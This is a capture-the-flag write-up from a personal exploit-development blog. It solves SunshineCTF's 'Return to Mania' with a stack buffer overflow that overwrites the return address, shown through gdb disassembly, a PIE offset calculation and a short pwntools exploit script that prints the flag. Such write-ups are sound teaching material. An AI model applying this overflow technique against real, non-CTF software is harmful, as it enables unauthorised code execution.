_blackb3ard/pwn_exhibit$

pwn notes from an exploit dev wannabe

Home CTF Writeups

SunshineCTF: Return to Mania

tl;dr: buffer overflow to change instruction pointer

First pwn challenge worth 50 points, we start reconnaissance with checksec:

$ checksec return-to-mania
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

From the results, we see that the binary has a non-executable stack, but we can still perform a buffer overflow since there isn’t a stack canary in place. Also, we have to note that PIE is enabled which means that the addresses for functions are in a randomized layout. We run the binary to have an initial look on what it does:

$ ./return-to-mania
  Welcome to WrestleMania! Type in key to get access.
  addr of welcome(): 0x5658c6ed

We’ll be testing this locally for now, but when we run the binary on the challenge server, we get a different address for welcome everytime. So what the binary does is print some stuff out, give us the address for welcome, and wait for user input. To see the inner workings of the binary, we open it in gdb:

$ gdb ./return-to-mania
  gdb-peda$ disas main
    Dump of assembler code for function main:
     0x00000746 <+0>:	  lea    ecx,[esp+0x4]
     0x0000074a <+4>:	  and    esp,0xfffffff0
     0x0000074d <+7>:	  push   DWORD PTR [ecx-0x4]
     0x00000750 <+10>:	  push   ebp
     0x00000751 <+11>:	  mov    ebp,esp
     0x00000753 <+13>:	  push   ebx
     0x00000754 <+14>:	  push   ecx
     0x00000755 <+15>:	  call   0x560 <__x86.get_pc_thunk.bx>
     0x0000075a <+20>:	  add    ebx,0x13f2
     0x00000760 <+26>:	  call   0x6ed <welcome>
     0x00000765 <+31>:	  sub    esp,0xc
     0x00000768 <+34>:	  lea    eax,[ebx-0x12cc]
     0x0000076e <+40>:	  push   eax
     0x0000076f <+41>:	  call   0x4d0 <puts@plt>
     0x00000774 <+46>:	  add    esp,0x10
     0x00000777 <+49>:	  mov    eax,0x0
     0x0000077c <+54>:	  lea    esp,[ebp-0x8]
     0x0000077f <+57>:	  pop    ecx
     0x00000780 <+58>:	  pop    ebx
     0x00000781 <+59>:	  pop    ebp
     0x00000782 <+60>:	  lea    esp,[ecx-0x4]
     0x00000785 <+63>:	  ret    
   End of assembler dump.

Basically, the main function just heads on to call the welcome function, so that’s what we have to focus on disassembling.

 gdb-peda$ disas welcome
   Dump of assembler code for function welcome:
     0x000006ed <+0>:	  push   ebp
     0x000006ee <+1>:	  mov    ebp,esp
     0x000006f0 <+3>:	  push   ebx
     0x000006f1 <+4>:	  sub    esp,0x14
     0x000006f4 <+7>:	  call   0x560 <__x86.get_pc_thunk.bx>
     0x000006f9 <+12>:	  add    ebx,0x1453
     0x000006ff <+18>:	  sub    esp,0xc
     0x00000702 <+21>:	  lea    eax,[ebx-0x131c]
     0x00000708 <+27>:	  push   eax
     0x00000709 <+28>:	  call   0x4d0 <puts@plt>
     0x0000070e <+33>:	  add    esp,0x10
     0x00000711 <+36>:	  sub    esp,0x8
     0x00000714 <+39>:	  lea    eax,[ebx-0x145f]
     0x0000071a <+45>:	  push   eax
     0x0000071b <+46>:	  lea    eax,[ebx-0x12e8]
     0x00000721 <+52>:	  push   eax
     0x00000722 <+53>:	  call   0x490 <printf@plt>
     0x00000727 <+58>:	  add    esp,0x10
     0x0000072a <+61>:	  sub    esp,0x8
     0x0000072d <+64>:	  lea    eax,[ebp-0x12]
     0x00000730 <+67>:	  push   eax
     0x00000731 <+68>:	  lea    eax,[ebx-0x12d1]
     0x00000737 <+74>:	  push   eax
     0x00000738 <+75>:	  call   0x500 <__isoc99_scanf@plt>
     0x0000073d <+80>:	  add    esp,0x10
     0x00000740 <+83>:	  nop
     0x00000741 <+84>:	  mov    ebx,DWORD PTR [ebp-0x4]
     0x00000744 <+87>:	  leave  
     0x00000745 <+88>:	  ret    
  End of assembler dump.

Analyzing the instructions, we see puts and printf being called, which we know just prints the stuff that we see when we start the binary. What we do want to pay attention to starts at address 0x0000072a, we see that the code creates space in the stack and initializes a buffer of 18(0x12) bytes - then we proceed to a scanf() call which we can exploit by putting in more stuff than it expects. By inputting 18 bytes of input and adding 4 additional bytes, we can now be able to overwrite the instruction pointer. But where do we jump to? Let’s take a look at the functions that we have.

gdb-peda$ info functions
  [...]
  0x0000065d  mania
  0x000006ed  welcome
  0x00000746  main
  [...]

We see the mania function, but we don’t see it get executed in the main function, so this is what we want to jump into and execute. We need to consider that the binary has its ASLR feature turned on, but that won’t be a problem - since the offset between the addresses of each function is always the same. The addresses of the functions mania and welcome have a difference of 144, what we can do with this is whenever we’re presented with the address of the welcome function in the start of the challenge, we can subtract 144 from it and we get the address for mania. So let’s create our exploit script:

exploit.py
#: Connect to challenge server
HOST = 'ret.sunshinectf.org' 
PORT = 4301
p = remote(HOST,PORT)
prompt = p.recv()

#: Exploit code
offset = 'A' * 22
welcome_addr = int(prompt.splitlines()[1].split()[-1],16)
mania_addr = p32(welcome_addr - 144)
exploit = offset + mania_addr

#: Send payload
p.sendline(exploit)
print(p.recv())

Then we run it to get the flag!

$ python exploit.py
WELCOME TO THE RING!
sun{0V3rfl0w_rUn_w!Ld_br0th3r}